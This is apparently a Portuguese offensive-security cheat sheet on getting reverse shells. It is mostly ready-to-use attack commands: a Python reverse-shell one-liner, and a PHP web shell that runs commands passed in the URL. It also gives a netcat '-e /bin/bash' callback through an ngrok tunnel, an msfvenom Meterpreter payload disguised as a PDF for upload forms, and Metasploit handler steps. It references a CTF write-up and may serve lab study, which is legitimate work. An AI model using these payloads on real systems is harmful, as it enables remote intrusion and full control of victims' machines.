Skip to main content

Reverse Shell | Solyd One

  • Reverse Shell | Solyd One
info

Ngrok é uma ferramenta excelente para não termos que abrir portas pelo roteador

Ex: alt text

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Após conseguir acesso, usar o comando de criar um bash com tty. Está documentado em linux pós exploitation

Exemplo com PHP

Resolucão CTF explicativa: 🔗 Clique aqui

  • De alguma forma, caso possível criar um arquivo php dentro do servidor por meio de ssh ou smb, criar o arquivo com o seguinte comando:
<?php echo(system($_GET["cmd"]))>

A partir disso dependendo do contexto será possível acessar via url e usar da seguinte forma xxx.xxx.xx.xx/nome-arquivo?cmd=<comando>

Podemos criar uma conexão com o ngrok, segue a documentacão clicando aqui

Na url do site, adicione o comando abaixo no parâmetro:

nc <url-ngrok> <port> -e /bin/bash

A partir disso, o terminal que estava escutando a porta, irá receber a conexão e conseguimos rodar comandos por lá


Usando Ngrok


Cenário de envio de arquivo

  • Primeiro passo: abrir conexão pelo ngrok

      ngrok tcp <port>
    • saída: alt text
  • Segundo passo: criar um arquivo injetável (caso haja formulário para ser enviado)

      msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<host-forwarding-gerado-ngrok> LPORT=<host-port-gerado-ngrok> -f elf > shell.pdf
  • Terceiro passo: abrir o msfconsole para abrir um shell

    use multi/handler
    set payload linux/x64/meterpreter/reverse_tcp
    set LHOST <no-forwarding-e-gerado-em-qual-ip-foi-redirecionado>
    set LPORT <no-forwarding-e-gerado-em-qual-PORT-foi-redirecionado>
    exploit -j
    # estará rodando em background até alguém se conectar

Após receber isso

alt text

rode esse comando:

sessions -i 1

shell # abre uma shell

python -c 'import pty; pty.spawn("/bin/bash")'